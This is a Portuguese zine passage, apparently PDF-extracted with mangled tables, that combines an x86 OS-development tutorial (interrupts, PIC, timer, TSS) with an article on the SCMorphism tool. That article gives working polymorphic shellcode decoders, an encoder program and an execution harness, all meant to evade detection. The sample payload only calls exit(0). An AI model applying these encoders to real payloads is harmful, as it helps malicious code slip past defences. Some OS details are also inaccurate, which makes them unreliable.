uma tarefa x, em tal ambiente, você terá de criar 10 processos, ou seja, 10 espaços virtuais
diferentes, reduzindo, em certo modo, a quantidade de memória disponível. Além disso, a
criação de threads geralmente é mais rápida que a criação de processos.
Os threads podem permitir, também, que um mesmo processo execute ao mesmo tempo,
executando um thread em cada processador em sistemas MP.
Há sistemas que incluem o conceito de fiber. Um fiber é uma unidade de execução que tem de
ter sua execução controlada pelo thread.
Para a manutenção de recursos utilizados por threads, geralmente implementam-se bibliotecas
ou funções do próprio kernel para que haja coesão na utilização destes recursos.
Há casos em que os threads não são gerenciados pelo kernel.
GERENCIAMENTO DE RECURSOS LIMITADOS EM THREADS
Geralmente utilizam-se objetos, dos quais os mais famosos são os semáforos, os mutexes e as
seções críticas.
Um semáforo é um objeto que possui um contador. Cada vez que um thread requisita um
semáforo, este diminui em 1 seu valor. Cada vez que um thread o libera, este valor é
aumentado em 1. Se antes dessa decrementação, o valor for 0, o thread atual é bloqueado até
que outro thread libere o semáforo.
Os semáforos permitem acesso à recursos limitados em nº maior que 1.
Mutex são utilizados na situação em que o recurso deve ser acessado apenas por 1 thread por
52
vez. Um mutex é como um semáforo com um contador valendo 1. Se o mutex for requisitado
por um thread, e este mutex estiver livre, o thread adquiri o mutex e este é marcado como
ocupado. Se o mutex já estiver ocupado, o thread é bloqueado até que ele seja liberado.
As seções críticas agem como o mutex.
Há casos em que, em relação aos 3 objetos, quando não se pode adquirir o objeto, o
kernel/biblioteca implementa um retorno de erro ao invés do bloqueamento do thread.
PRÁTICA - PROCESSOS
Vamos começar com um exemplo de estrutura de contexto.
struct Contexto
{
int
int
int
int
a; /* int sempre possui o tamanho do registrador acumulador (al, ax, eax, rax) */
b; /* base */
c; /* contador */
d; /* não me lembro =/ */
int si; /* Índice de fonte */
int di; /* Índice de destino */
short cs; /* segmento de código */
short ds; /* segmento de dados */
short es; /* segmento de dados */
short fs; /* segmento de dados auxiliar */
short gs; /* segmento de dados auxiliar */
short ss; /* segmento da pilha */
int flags; /* flags */
};
Não precisamos guardar cr3 (registrador base de diretório de páginas) aqui, porque esta
estrutura visa threads. cr3 deverá ser guardado pelo processo, pois pertence a todos os
threads (mesmo espaço virtual).
Você leu que para as unidades de execução dispõem de um tempo para executar. Veremos
como este tempo é agendado com o auxílio do hardware, mas antes, precisamos entender o
que são interrupções.
INTERRUPÇÕES
Uma interrupção é, primariamente, uma maneira do hardware se comunicar com o software
quando necessário. Em segunda instância uma interrupção é uma maneira do software
interagir com outros softwares.
Imagine a seguinte situação: O programa A necessita escrever um arquivo no disco. O fluxo de
operações geralmente consiste em syscall (requisição), execução dos comandos, bloqueamento
do programa (subentenda a partir de agora programa como a menor unidade de execução
gerenciável pelo kernel (processo/thread)) e retorno do programa à lista de execução quando a
escrita estiver terminada. É bom ressaltar que os discos geralmente são milhares de vezes
mais devagar do que os processadores (e consequentemente a execução de instruções).
Agora, na prática, como o kernel saberá que a escrita terminou e que é hora de liberar o
processo do bloqueamento, já que a maioria dos discos (senão todos) não bloqueiam o
processador para executar tarefas?
Simples, através de interrupções.
Uma interrupção é exatamente isso: uma INTERRUPÇÃO do fluxo atual de instruções para
realizar alguma tarefa lateral.
As interrupções de hardware dizem ao kernel que o hardware terminou de realizar alguma
53
tarefa, que precisa de mais entrada, que ocorreu erro, etc.
Na arquitetura x86, podemos definir 256 interrupções, tendo as 32 primeiras funções fixas
relativas ao processador e à execução (em modo protegido). As outras são livres para você
utilizar. Um exemplo de utilização de interrupções em software é o sistema operacional Linux,
que utiliza a interrupção 80h (128) para receber syscalls.
PRÁTICA - INTERRUPÇÕES
A interrupção disparada pelo hardware é denominada interrupção de hardware.
As interrupções são montadas em uma tabela como a GDT, porém esta se chama IDT
(Interrupt Descriptor Table - Tabela de Descritores de Interrupção).
A IDT é carregada da mesma maneira que a GDT, porém a IDT se localiza num registrador
chamado idtr. Carrega-se a IDT utilizando um ponteiro para o tamanho (2 bytes) e a base (4
bytes) da IDT, com o auxílio das instruções lidt, que carrega o registrador idtr, e sidt, que
armazena o valor do registrador idtr na memória.
O endereço base da idt, assim como o da gdt, tem de ser físico.
Cada descritor da idt aponta para uma função (código) que executa determinada tarefa. Vamos
dar uma olhada num descritor da idt:
31
16| 15|14 13|12 5|4 0
-------------------------------------------| Res/Offset 31:16 | P | DPL | nn(D) | Res | byte 4
-------------------------------------------31
16|15
0
-------------------------------------------|
Segmento
|
Offset 15:00
--------------------------------------------
| byte 0
A IDT pode possuir até 156 descritores. Cada descritor possui 8 bytes.
Vamos ver para que serve cada campo:
Exemplo [bits onde se encontram no descritor do byte 4]: descrição
Segmento: Valor de 16 bits que identifica o segmento para o qual este descritor aponta. Este
segmento deverá ser um segmento de código.
Offset [31:16]: Resto do offset que indica a posição do código no segmento. Esse offset do
descritor do byte 4 só está presente se o descritor for um interrupt ou call gate.
Res [4:0 e 31:16]: Reservado, sempre 0. O valor reservado nos bits 31:16 é substituído pelo
offset em interrupt e call gates.
Nn [12:5]: Identifica o tipo de gate. Se o valor for 0x28 (00101000b), trata-se de um task gate.
Se o valor for 0x30 (00110000b) ou 0x70 (01110000b) (veja o bit D), trata-se de um interrupt
gate. Se o valor for 0x38 (00111000b)ou 0x78 (01111000b) (veja o bit D), trata-se de um trap
gate.
D [11]: Este bit está presente somente em interrupt e trap gates. Este bit identifica o tamanho
do gate. Se for 0, o gate é um gate de 16 bits. Se for um, é um gate de 32 bits.
DPL [14:13]: DPL do descritor (veremos DPL em proteção).
P [15]: Identifica se o descritor está presente (P = 1) ou ausente (P = 0).
Um task gate é um gate que necessita que ocorra mudança de contexto no nível do
processador. Veremos isso em TSS.
Um trap gate e um interrupt gate são similares, porém, um trap gate permite que interrupções
ocorram durante sua execução, enquanto o interrupt gate previne que interrupções ocorram
54
durante sua execução (útil para interrupções importantes) (IF = 0).
As interrupções são chamadas através da instrução "int n", onde n é o número da interrupção.
O n é na verdade um índice na tabela. Cada n corresponde a um descritor.
Como dito anteriormente, 32 destas interrupções são fixas. Estas são as 32 primeiras. Vamos
ver para que serve cada uma:
INT 0: Erro de divisão (geralmente divisão por 0)
INT 1: Reservada
INT 2: Interrupção NMI. (não vou mentir, ainda não sei para que serve o0)
INT 3: Breakpoint. Gerada geralmente para debugar código
INT 4: Overflow durante operação matemática ou checagem com a instrução "bound"
INT 5: Exceção de bound. (também não sei :P)
INT 6: Opcode inválido (instrução inválida ou execução da instrução "UD2")
INT 7: Dispositivo não disponível (co-processador matemático inativo ou inexistente)
INT 8: Falta dupla (Ocorre se as interrupções 0, 10, 11, 12, 13 e 14 ocorrerem durante a
execução de outras interrupções. No caso da int 14, só há int 8 se a int 14 ocorrer durante a
execução de outra int 14)
INT 9: Reservada
INT 10: TSS inválido (veremos TSS depois)
INT 11: Segmento ausente (o segmento carregado em cs, ds, es, fs ou gs está com o bit P
desabilitado (P = 0))
INT 12: Falta da pilha (o segmento carregado em ss pousi o bit P desabilitado, foi referenciado
um local na pilha inexistente, a pilha estava na base do segmento e foi executada a instrução
"push", a pilha estava no limite do segmento e foi executada a instrução "pop" ou a instrução
"enter" foi executada e não havia espaço na pilha para alocar as variáveis)
INT 13: Falta geral (causada por qualquer referencia inválida de memória, carregar
registradores de segmento com segmentos de sistema, exceder limites de segmentos e tabelas
(GDT, LDT), violação de proteção e vários outros motivos)
INT 14: Falha de página (a página não está presente na memória (swapping? :]), a página
possui um nível de proteção não acessível ao programa, tentativa de escrita em uma página
somente-leitura ou um dos bits reservados na entrada do diretório de páginas vale 1)
INT 15: Reservada
INT 16: Erro de ponto flutuante
INT 17: Erro de alinhamento (A verificação de alinhamento está ativada e foi feita uma
tentativa de acesso desalinhado)
INT 18: Verificação de máquina (Falha de hardware, geralmente no bus)
INT 19: Erro de ponto flutuante SIMD
INT 20-31: Reservado
55
INT 32-255: Estes são seus =D
As interrupções 8 e 18 são consideradas abortivas, ou seja, são erros severos do sistema.
Algumas interrupções geram um erro e colocam-no na pilha (caso não tenha sido gerado
externamente ou pela função "int n"). O formato do valor, de 32 bits, está representado abaixo:
31
16|15
3| 2 | 1 |
0
---------------------------------------------------| Reservado | Seletor de segmento | TI | IDT | EXT |
---------------------------------------------------O seletor de segmento [15:3] possui 13 bits, logo pode-se representar até 8192 segmentos (o
máximo de descritores da GDT e da LDT). O bit TI [2] identifica, se o bit IDT for 0, se o
segmento pertence à GDT (TI = 0) ou à LDT (TI = 1). O bit IDT identifica se o valor do seletor
de segmento é um descritor da IDT (IDT = 1) ou não (IDT = 0). O bit EXT indica se a
interrupção foi gerada por um evento externo (como uma interrupção de hardware).
As interrupções 8 e 17 colocam o valor 0 na pilha.
As interrupões 10, 11, 12 e 13, colocam o descritor de erro representado acima na pilha.
A interrupção 13 coloca o descritor se a mesma for causada por algum evento relativo a
segmentos. Caso contrário a int 13 coloca o valor 0 na pilha.
A interrupção 14 coloca um valor na pilha cuja descrição está abaixo:
31
4| 3 | 2 | 1 | 0
--------------------------------| Reservado | RSV | US | RW | P |
--------------------------------O bit RSV [3] identifica se a interrupção foi causada por violação de bits reservados (RSV = 1)
(algum bit reservado habilitado num descritor de tabela no diretório de páginas) ou não (RSV
= 0).
O bit US [2] identifica se o processador estava em modo usuário (US = 1) ou modo supervisor
(US = 0) quando a interrupção ocorreu.
O bit RW [1] identifica se a causa da interrupção foi uma tentativa da escrita (RW = 1) ou de
leitura (RW = 0).
O bit P [0] identifica se a interrupção foi causada por uma página não presente (P = 0) ou uma
falha de proteção de página (P = 1).
Estes valores de erro devem ser retirados da pilha antes do código que manipula tais
interrupções retornar.
Agora que já vimos o que são as interrupções, como elas se comportam e etc, vamos ver a PIC.
A PIC
A pic é um controlador utilizado dede os XT. A pic possui uma lista de requisições de
interrupção (IRQs) que geralmente são acopladas, cada uma, a uma peça de hardware que
necessita utilizar o mecanismo das interrupções.
Na verdade, atualmente a pic são dois controladores. Comumente, as IRQs são dispostas da
seguinte maneira:
IRQ
IRQ
IRQ
IRQ
IRQ
IRQ
56
0
1
2
3
4
5
Timer
Teclado
Cascateado
COM 2
COM 1
IDE
IRQ
IRQ
IRQ
IRQ
IRQ
IRQ
IRQ
IRQ
IRQ
IRQ
6 FLOPPY0
7 LPT
8 Relógio CMOS
9 Livre
10 Livre
11 Livre
12 Livre
13 Coprocessador matemático
14 IDE0
15 IDE1
A IRQ2 é na verdade uma ponte entre o segundo controlador da pic e o processador, ou seja,
qualquer interrupção das IRQs 8 a 15 passam pela IRQ2 para chegar para o processador.
As IRQs livres podem ser utilizadas pelo hardware. Duas peças do hardware que compartilham
a mesma IRQ causam um conflito de hardware.
As IRQs podem ser direcionadas para uma interrupção especifica. Para isso, devemos
programar a pic.
PRÁTICA - PIC
Vamos programar a pic então :D
Ao programarmos a pic, damos-lhe dois índices de interrupções. Assim, se programarmos o
primeiro controlador com a interrupção 50, a IRQ0 ocupará a interrupão 50, a IRQ1 ocupará a
interrupção 51, e assim em diante até a IRQ7 na int 57. Isso vale para o outro controlador.
Vamos a um exemplo. Carregaremos a pic, colocando as IRQs do primeiro controlador na
interrupção 0x30 e as do segundo na interrupção 0x40.
A pic é programada utilizando bytes conhecidos como ICWs. Veremos a estrutura do ICWs.
ICW1:
76543210
----------------|0|0|0|1|M|0|C|I|
----------------M [3]: Indica o modo que as linhas de IRQ0 a IRQ7 são ativadas. Deve sempre ser 0 em um PC.
C [1]: Indica se há cascateamento de pics (C = 0) ou não (C = 1). Deve ser 0 se houver dois
controladores de pic.
I [0]: Indica se haverá ICW4 após o ICW3. Se estiver habilitado (I = 1), haverá ICW4, caso
contrário (I = 0), não haverá.
ICW2:
76543210
----------------|N|N|N|N|N|0|0|0|
----------------N [7:3]: A interrupção base a ser utilizada neste controlador. Os 3 últimos bits são ignorados,
forçando assim, a interrupção base a ser um múltiplo de 8.
Para cada IRQn, a interrupção N + n é chamada.
No caso de ICW3, o ICW3 do controlador principal é diferente do ICW3 do controlador
secundário.
ICW3 para o controlador principal:
57
76543210
----------------|I|I|I|I|I|I|I|I|
----------------I [7:0]: Cada bit identifica se há um controlador ligado à IRQ correpondente ao bit (I = 0), ou
se a IRQ correspondente é uma IRQ de hardware. Comumente, o bit 2 é habilitado e os outros
desabilitados, habilitando o segundo controlador a se comunicar com o processador através da
IRQ2.
ICW3 para o controlador secundário:
76543210
----------------|0|0|0|0|0| IRQ |
----------------IRQ [2:0]: Identifica a qual IRQ do controlador principal o controlador secundário está ligado.
Comumente a IRQ 2.
ICW4:
765432 1 0
----------------------|0|0|0|0|0|0|EOI|80x86|
----------------------EOI [1]: Este bit diz se o fim da interrupção é feito automaticamente (EOI = 1) ou com auxílio
do software (EOI = 0). Este bit geralmente é desabilitado (EOI = 0), pois ele impede que a PIC
gere interrupções enquanto outra interrupção estiver sendo processada.
80x86 [0]: Identifica se a pic está em um 80x86. Deve ser sempre 1.
Para enviar o fim de interrupção, utiliza-se um comando chamado OCW2. Abaixo há uma
descrição do OCW2:
OCW2 (fim de interrupção):
76543210
----------------|0|0|1|0|0|0|0|0|
----------------Talvez você esteja se perguntando o que é a OCW1. A OCW1 é um comando de habilitação e
desabilitação de IRQs.
OCW1:
76543210
----------------|I|I|I|I|I|I|I|I|
----------------I [7:0]: Cada bit indica uma intrrupção correspondente a sua posição no byte. Se o bit for 0, a
interrupção é habilitada, se for 1, é desabilitada.
Chega de conversa, vamos programar a pic :]
outb(0x20, 0x11); /* Controlador 1 - ICW1 M=0, C=0, I=1 */
outb(0xA0, 0x11); /* Controlador 2 - ICW1 M=0, C=0, I=1 */
58
outb(0x21, 0x30); /* Controlador 1 - ICW2 INT = 0x30 */
outb(0xA1, 0x40); /* Controlador 2 - ICW2 INT = 0x40 */
outb(0x21, 0x04); /* Controlador 1 - ICW3 IRQ2 */
outb(0xA1, 0x04); /* Controlador 2 - ICW3 IRQ2 */
outb(0x21, 0x03); /* Controlador 1 - ICW4 EOI=0, 80x86=1 */
outb(0xA1, 0x03); /* Controlador 2 - ICW4 EOI=0, 80x86=1 */
OK, programada!
Para o ICW0 e o OCW1, utilizamos a port 0x20 para o controlador 1 e a port 0xA0 para o
controlador 2.
Para o restante, utilizamos as ports 0x21 e 0xA1 para os controladores 1 e 2, respectivamente.
Agora, sempre que a interrupção 0x30 for chamada, você sabe que foi porque o timer foi
disparado. É este timer o mais utilizado para gerenciar o tempo dos processos. Este timer
possui uma frequência de 1.193.180 Hz, e pode-se controlar a freqüência com a qual são
disparadas as interrupções através de um divisor de 16 bits. Este timer é controlado pelo
controlador 8253, e é programável. Vamos ver como podemos programar o timer.
A port 0x43 é utilizada para mandar comandos de controle do timer. O comando utilizado está
descrito abaixo:
7 6|5 4|3 1|
0
---------------------| CS | RL | MD | BCD |
---------------------CS [7:6]: Estes bits são utilizados para dizer ao controlador qual timer estará sendo utilizado.
Temos 3 timers distintos. O primeiro (CS = 00b) é usado para timer do sistema (é este que nos
interessa). O segundo (CS = 01b) é usado para operações de atualização no DMA. O terceiro
(CS = 10b) é para uso geral, e geralmente é utilizado para controlar o Speaker. O modo 3 (CS
= 11b) é ilegal.
RL [5:4]: Estes bits controlam a operação a ser realizada. Se forem 1 (RL = 01b), iremos
escrever apenas a parte alta do divisor, se forem 2 (RL = 10b), iremos escrever apenas a parte
baixa, se forem 3 (LSB = 11b), iremos escrever a parte baixa e, em seguida, a parte alta do
divisor.
MD [3:1]: Estes bits indicam o modo como o timer funcionará. Vejamos uma tabela:
Modo 0 (000b) : Este modo inicia uma contagem com um valor programado, e decrementa o
valor de contagem cada vez que o timer é acionado. Quando o timer for 0, acontece a
interrupção e o timer pára até que seja introduzido um novo valor de contagem. Se o valor de
contagem for mudado durante a contagem, a contagem é parada.
Modo 1 (001b) : Este modo é semelhante ao anterior, porém recarregar o valor do timer não
interrompe a contagem. Após a contagem original, inicia-se a contagem com o novo valor.
Modo 2 (010b) : Gera um pulso a cada N ciclos do timer. Mudar o valor só funciona após o fim
do ciclo.
Modo 3 (011b) : Gera um pulso a cada N ciclos, onde N0 é o valor original, N1 é o valor
original dividido por 2, N2, o valor dividido por 4, e assim em diante (Ni = N0 / 2^i), até
chegar a 0, e, então a contagem é reiniciada. Mudar o valor só funciona após o fim do ciclo.
Modo 4 (100b) : Produz um único pulso, após N clocks, sendo N o valor de contagem, e depois
aguarda até que o contador seja alterado.
59
Modo 5 (101b) : Modo gerenciado pelo hardware. Não nos interessa.
BCD [0] : Identifica se o valor usado no timer é binário-hexadecimal (BCD = 0) ou bináriodecimal (BCD = 1). O padrão é binário-hexadecimal.
Para todos os timers, utilizamos a port 0x43 para mandar este comando. Para cada timer,
temos uma port diferente para configurarmos o valor de contagem. Para o timer 0, utilizamos
a port 0x40, para o timer 1, a port 0x41 e para o timer 2, a port 0x42.
O valor do divisor pode estar entre 1 e 65535. Se o valor for 0, o controlador interpreta-o como
65536. Assim, a configuração mais devagar que podemos ter com este timer é a de
1193180/65536 = 18.2 vezes por segundo (aproximadamente 1 interrupção a cada 55 ms)
Vamos a um exemplo:
outb(0x43, 0x34); /* RL = 11, modo 2 */
outb(0x40, 0); /* Parte baixa */
outb(0x40, 0); /* Parte alta */
Com isso obtemos aquela frequência de 18.2 hz para a interrupção.
Vamos a outro exemplo:
outb(0x43, 0x34); /* RL = 11, modo 2 */
outb(0x40, 1); /* Parte baixa */
outb(0x40, 0); /* Parte alta */
Com isso obtemos uma frequência de 1193180 (1 milhão de) interrupções por segundo. Isso
nos dá uma interrupção a cada 0.000000838 segundos.
Com essas bases, pode-se calcular quanto tempo deseja-se dar para os processos dentro dos
valores possíveis.
TSS
Uma TSS é uma estrutura utilizada pelos processadores da arquitetura x86 para auxiliar a
mudança de contexto entre processos. Um TSS armazena informações úteis ao processador
utilizadas na mudança de contexto. Vejamos um exemplo de estrutura de um TSS:
31
16|15
0
----------------------------------------------------------|
I/O Base
|
|T| Byte 100
----------------------------------------------------------|
|
Seletor de LDT
| Byte 96
----------------------------------------------------------|
|
GS
| Byte 92
----------------------------------------------------------|
|
FS
| Byte 88
----------------------------------------------------------|
|
DS
| Byte 84
----------------------------------------------------------|
|
SS
| Byte 80
----------------------------------------------------------|
|
CS
| Byte 76
----------------------------------------------------------|
|
ES
| Byte 72
----------------------------------------------------------|
EDI
| Byte 68
----------------------------------------------------------|
ESI
| Byte 64
60
----------------------------------------------------------|
EBP
| Byte 60
----------------------------------------------------------|
ESP
| Byte 56
----------------------------------------------------------|
EBX
| Byte 52
----------------------------------------------------------|
EDX
| Byte 48
----------------------------------------------------------|
ECX
| Byte 44
----------------------------------------------------------|
EAX
| Byte 40
----------------------------------------------------------|
EFLAGS
| Byte 36
----------------------------------------------------------|
EIP
| Byte 32
----------------------------------------------------------|
CR3
| Byte 28
----------------------------------------------------------|
|
SS2
| Byte 24
----------------------------------------------------------|
ESP2
| Byte 20
----------------------------------------------------------|
|
SS1
| Byte 16
----------------------------------------------------------|
ESP1
| Byte 12
----------------------------------------------------------|
|
SS0
| Byte 8
----------------------------------------------------------|
ESP0
| Byte 4
----------------------------------------------------------|
|
LTL
| Byte 0
----------------------------------------------------------Os campos dos registradores falam por si. Vamos ver para que servem os campos SSn, ESPn,
CR3, LTL, LDT, T e I/O Base.
Os campos extras para SS e ESP provêm do fato de que para cada nível de privilégio (veremos
segurança depois), o segmento de pilha deve ser diferente. Assim, quando um programa pula,
chama uma interrupção ou faz qualquer coisa, a pilha é trocada para acompanhar o nível de
privilégio atual. Isso impede que a pilha estoure por falta de espaço durante uma syscall por
exemplo.
CR3 é o nosso diretório de páginas referente a este processo.
LTL é um link para o segmento que indica a próxima TSS. Assim, se um programa executar um
"iret", por exemplo, indicando fim de programa, o processador irá mudar o contexto para o
TSS apontado por este link.
LDT indica a LDT que usaremos neste processo.
T [0] este bit indica se o processador deverá executar uma "int 3" (debug) quando o processo
for (re)iniciado.
I/O Base: É um deslocamento (offset) da base da TSS até um mapa de bits (bitmap) que indica
se determinadas ports são acessíveis a este processo. Por exemplo, se este offset aponta para
uma tabela de 8 ports (1 byte), e seus bits são 11001111b, as ports 4 e 5 estão habilitadas
para uso (0) e as outras estão desabilitadas. O último byte deste mapa deverá ser 0xFF
(11111111b). Não é necessário mapear todo o espaço de I/O, apenas da primeira port até a
port que você quiser, depois disso, coloca-se o byte 0xFF e indica-se limite de TSS na GDT (a
61
TSS é um segmento, lembra-se). Se não for necessário um mapa de bits, coloque o valor do
deslocamento (início do mapa) acima ou igual ao limite da TSS. Qualquer por que não esteja
no mapa é tratada com inacessível se o processo não possuir privilégios suficientes.
WOW. Já foi bastante coisa, acho melhor deixar o resto para um outro artigo. O assunto é
extenso mas é legal. Na continuação, iremos ver como funciona a proteção da arquitetura,
voltaremos à teoria com sistemas de arquivos, e à pratica, aprendendo a carregar arquivos de
um disco (isso é valioso, porque aprender a carregar ou escrever qualquer coisa num disco
sem a bios é um saco, e além disso ensinarei como acessar discos com mais de 130GB ^^).
Vamos parando por aqui, porque eu vou lançar o artigo numa zine (cara folgado neh, lança
numa zine e ocupa trocentas páginas...). Well, eu nunca escrevo, mas quando começo nem
paro :P. Não procurem meus artigos, só escrevi 3 até hoje e o melhor deles é este, tem um
sobre hardware ( da época em que eu achava que processador era o advogado que processa os
outros, e outro sobre api do windows (duma outra época que não está tão distante assim (não
ria)).
Peço desculpas pela falta de organização!
Bem, pessoas, espero que tenha ajudado em algo! ^^
Bibliografia:
Manuais da Intel (1 e 3)
"A20 - A pain from the past", autor anônimo
"Programming The PIC: PicBasic Pro", Tom alguma_coisa
"Programmable Interrupt Controler programming", por Xavier Leclerq"IRQs and DMAs", por
CR4CK1N6
"The Timer!!!", por Mitch
"8253/54 Timer", autor anônimo
"The 8253 Timer", autor anônimo
Contato:
email: [email protected]
MSN: [email protected]
PS: Não me lembro de bons links sobre os, mas do que eu lembro, lembro de
www.osdever.alguma_coisa e www.osdevel.alguma_coisa. Acho q alguma_coisa é .net e .org,
mas só ACHO!
62
SCMORPHISM
Por Rodrigo Rubira Branco (BSDaemon) [email protected]
Cuidado: Esta procura ser uma tradução do meu texto original HowItWorks.txt que foi escrito
em inglês devido a natureza e função da ferramenta e portanto pode não estar totalmente
atualizado.
O objetivo deste texto seria explicar como funciona a ferramenta SCmorphism. Explicações
utilizadas neste texto seriam o ponto de inicio para comecar uma ferramenta como o
scmorphism, você mesmo.
Se você apenas deseja aprender as técnicas, este texto pode ser para você também. Eu
realmente quero agradecer ao Darksock da UHAGR porque ele me enviou boa parte dos
exemplos sobre polimorfismo demonstrados neste texto. Eu modifiquei o texto dele para ser
mais facilmente entendido e acrescentei diversas partes.
Primeiramente, minha intenção seria explicar como as técnicas de Polimorfismo funcionam e
também mostrar ao leitor como um DECODER pode ser modificado para tornar praticamente
impossivel de ser detectado.
Para entender mais sobre polimorfismo, também pode-se ler o artigo do Rix na phrack.
Um shellcode polimorfico possui o seguinte formato:
-------------call decryptor
-------------shellcode
-------------decryptor
-------------jmp shellcode
-------------O decryptor fica responsável por realizar o processo inverso ao utilizado na codificacao do seu
shellcode. Este processo pode ser, por exemplo:
-
63
ADD
SUB
XOR
SHIFT
- Encriptação (como DES)
Quando fazemos uma chamada CALL o endereco do próximo código (neste caso o do
shellcode) fica armazenado na stack. Então, o decoder pode facilmente pegar o endereço do
shellcode armazenando-o em um registrador de uso geral. O que o decoder precisa fazer seria
apenas manipular os bytes do shellcode e executar um jump para o endereço deste. Portanto
teríamos algo assim (algoritmo):
-----------------------------------------------------call decryptor
shellcode:
.string encrypted_shellcode
decryptor:
xor %ecx, %ecx
mov sizeof(encrypted_shellcode), %cl
pop %reg
looplab:
mov (%reg), %al
- manipulate al according to the encryption mov %al, (%reg)
loop looplab
jmp shellcode
------------------------------------------------------Agora temos um exemplo de código que funciona:
.globl main
main:
call decryptor
shellcode:
.string "\x32\xc1\x32\xdc\xb1\x02\xce\x81"
// exit(0) shellcode
// increased by 1 .
decryptor:
pop %ebx
// we are going to using as an address reg: %ebx .
xor %ecx, %ecx
// Zero out %ecx
mov $0x08, %cl
// 0x08 == sizeof(shellcode) .
looplab:
mov (%ebx), %al
// mov the byte pointed by %ebx to %al .
dec %al
// The manipulation/decryption :P .
mov %al, (%ebx)
// put the byte, decrypted now, back where it belongs.
inc %ebx
// increase the address by 1, get the next byte .
dec %cx
jnz looplab
jmp shellcode
// decrease our counter register: %cx .
// if %cx is not equal to zero, then continue
// decrypting.
// Finaly, jump to our decrypted shellcode
Realmente é muito fácil de entender, porém com alguns problemas. Você não pode usar este
código compilado porque recebera um SIGSEGV devido ao fato de ele tentar escrever no .text
(seção de código) que geralmente estará mapeado como +rx.
No formato opcode este código funciona bem (porque estaria na stack).
64
Agora apenas precisa-se concatenar o shellcode no final do seu decoder. Modificar o mov
sizeof(shellcode), %cx bytes. Claro que você precisa tomar cuidado para eliminar qualquer
zer-bytes no seu opcode do decoder porque o sistema iria entender isto como fim de string.
Também podemos fazer alguns otimizações, como estes instruções:
mov (%ebx), %al
dec %al
mov %al, (%ebx)
Que são igualmente transformadas em:
subb $0x01, (%ebx)
Outras melhorias podem ser feitas, este código seria apenas um exemplo de como se
implementar e desenvolver um decoder. Neste exemplo o mecanismo de cifragem realmente
está simples e realmente foi muito fácil de ser desenvolvido. Outros mecanismos podem
manipular apenas byte a byte e serem realmente obvios de serem desenvolvidos (tais como
XOR).
De qualquer forma, compilado isto possui os seguintes opcodes. Aqui está (começando do
call):
in main:
0xe8
0x09 // This byte is the relative address of the decryptor
0x00 // This Zero bytes are troubling as. But we must use
0x00 // the call instruction to get the shellcodes address
0x00 // so we must redesigned our shellcode
Agora o código modificado:
.globl main
main:
jmp getaddr
decryptor:
pop %ebx
xor %ecx, %ecx
mov $0x08, %cl
looplab:
mov (%ebx), %al
dec %al
mov %al, (%ebx)
inc %ebx
dec %cx
jnz looplab
jmp shellcode
getaddr:
call decryptor
shellcode:
.string "\x32\xc1\x32\xdc\xb1\x02\xce\x81"
65
Acredito que vocês podem entender este código, então vamos verificar os opcodes novamente:
(opcodes encontrados utilizando-se gdb, com (gdb) x/bx endereço)
in main
0xeb
0x12 // relative address of getaddr, still wont change
in decryptor
0x5b
0x31
0xc9
0xb1
0x08 // Shellcode bytes, must be smaller than 0xff bytes, wont be the same
// for every shellcode, must be changed each time.
in looplab
0x8a
0x03
0xfe
0xc8
0x88
0x03
0x43
0x66
0x49
0x75
0xf5
0xeb
0x05 // This byte is the relative address of shellcode - Wont change
in getaddr
0xe8
0xe9 // Relative address of decryptor - Wont change
0xff // This way we are getting a negative relative address
0xff // so we avoid those zero-bytes ;)
0xff
in shellcode:
0x32
0xc1
0x32
0xdc
0xb1
0x02
0xce
0x81
Como pode ser visto o endereço fixo nao mudará mesmo que o shellcode mude. O decoder
pode ser usado para qualquer shellcode, tendo apenas que modificar o byte 0x08 do decoder
para ser igual ao tamanho do shellcode, para cada shellcode. No scmorphism isto está sendo
feito trocando-se o byte da string no programa em C.
Aqui está um programa em C para dar uma saida de um shellcode criptografado se for
fornecido um shellcode que funcione:
#include <stdio.h>
//
// BYTE_TO_MODIFY: pointer to the byte which we need to
// modify in decryptor. Decryptor's size is -> 25 bytes <// So your encrypted shellcode will enlarge by 25 bytes.
//
#define BYTE_TO_MODIFY
66
4
char decryptor[] = "\xeb\x12\x5b\x31\xc9\xb1\xdb\x8a\x03"
"\xfe\xc8\x88\x03\x43\x66\x49\x75\xf5"
"\xeb\x05\xe8\xe9\xff\xff\xff";
int main( int argc, char *argv[] ) {
int i;
if( argc != 2 ) {
fprintf( stdout, "Usage: %s [ shellcode ]\n", argv[0] );
exit( 1 );
}
if( strlen( argv[1] ) < 256 ) {
decryptor[BYTE_TO_MODIFY] = strlen( argv[1] );
fprintf( stdout, "\nThe encrypted shellcode is:\n\n" );
for( i = 0; i < strlen( decryptor ); i++ )
fprintf( stdout, "\\x%02x", ( long ) decryptor[i]);
for( i = 0; i < strlen( argv[1] ); i++ )
fprintf( stdout, "\\x%02x", ( long ) *( argv[1] + i ) + 1 );
fprintf( stdout, "\n\n" );
}
else
fprintf( stdout, "It is only possible if the given shellcode is smaller than 256
bytes\n" );
return( 0 );
}
Assim que um decoder funciona (e pode ser desenvolvido) é como foi iniciado o projeto
SCMorphism. Na vida real o tamanho do shellcode será incrementado conforme o tamanho
do decoder, portanto apresentamos uma versão otimizada do código anterior:
.globl main
main:
jmp getaddr
decryptor:
popl %ebx
xorl %ecx, %ecx
movb $0x08, %cl
looplab:
subb $0x01, (%ebx)
inc %ebx
loop looplab
jmp shellcode
getaddr:
call decryptor
67
shellcode:
.string "\x32\xc1\x32\xdc\xb1\x02\xce\x81"
Com os opcodes do decoder sendo agora:
//
// 20bytes Decrypter Engine, 5bytes less. Not bad ;)
// Once again decryptor[4] must be changed to the
// size of the given shellcode.
//
char decryptor[] = "\xeb\x0d\x5b\x31\xc9\xb1\x08\x80\x2b\x01"
"\x43\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff"
E um código final de testes:
--- test.c --#include <stdio.h>
//
// Decryptor + exit(0); Encrypted shellcode
//
char sc[] = "\xeb\x0d\x5b\x31\xc9\xb1\x08\x80"
"\x2b\x01\x43\xe2\xfa\xeb\x05\xe8"
"\xee\xff\xff\xff\x32\xc1\x32\xdc"
"\xb1\x02\xce\x81";
int main( void ) {
void ( *x ) ( ) = ( void * ) sc;
x( );
}
return( 0 );
$ strace ./test
.. stuff ....
.. more stuff ....
.. stuff ....
close(3)
munmap(0x40012000, 36445)
_exit(0)
=?
=0
=0
Finalizando como um decoder pode ser desenvolvido e como funciona. Agora vamos falar
sobre as técnicas da ferramenta SCMorphism. Primeiramente, o documento foi terminado de
ser escrito em 25 de maio de 2004 e pode não vir a ser atualizado com novos recursos do
SCMorphism. Veja o ChangeLog para saber mais sobre estes.
